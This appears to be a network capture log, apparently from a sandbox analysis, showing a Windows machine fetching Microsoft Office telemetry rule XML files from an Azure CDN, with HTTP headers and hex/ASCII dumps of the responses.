2024-11-01 02:46:17 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:16 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024616Z-16849878b78g2m84h2v9sta290000000098000000000n3b3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:17 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:17 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:17 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:17 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ef425c1b-901e-002a-63e7-277a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024617Z-17c5cb586f67hfgj2durhqcxk800000009gg0000000006c6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:17 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:17 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:17 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:17 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 93439f28-801e-00ac-63f6-2afd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024617Z-16849878b78nzcqcd7bed2fb6n00000002z000000000011y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:17 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:17 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:17 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:17 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 4f1ccae2-501e-0064-3ff9-2a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024617Z-15b8d89586fhl2qtatrz3vfkf00000000gu0000000008p9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:17 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:17 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:17 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:17 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2f7be3db-a01e-0032-5e10-2b1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024617Z-15b8d89586ffsjj9qb0gmb1stn0000000es00000000008yf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:17 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:17 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:17 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:17 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 92eac08a-601e-0001-29b2-26faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024617Z-16849878b78qfbkc5yywmsbg0c0000000a50000000004m98 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:17 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:18 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:18 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:18 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 2a2a4067-101e-005a-6698-2b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024618Z-159b85dff8fdjprfhC1DFWuqh0000000016g00000000d0uq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:18 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49871	13.107.246.45	443	7212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:18 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:18 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:18 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: df60bdc9-601e-0001-126b-2afaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024618Z-17c5cb586f64sw5wh0dfzbdtvw00000002hg00000000b39g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:18 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:18 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:18 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:18 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 6d89998c-401e-0083-425b-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024618Z-17c5cb586f6fqqst87nqkbsx1c0000000900000000003ghb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:18 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:18 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024618Z-16849878b785jrf8dn0d2rczaw0000000bg000000000nssf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:18 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:18 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7b68ac53-d01e-0082-7e67-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024618Z-16849878b78fkwcjkpn19c5dsn00000009ag00000000qttw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:19 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:19 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 5c4d015b-701e-0097-6b71-28b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024619Z-15b8d89586fpccrmgpemqdqe5800000005bg000000002wxv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
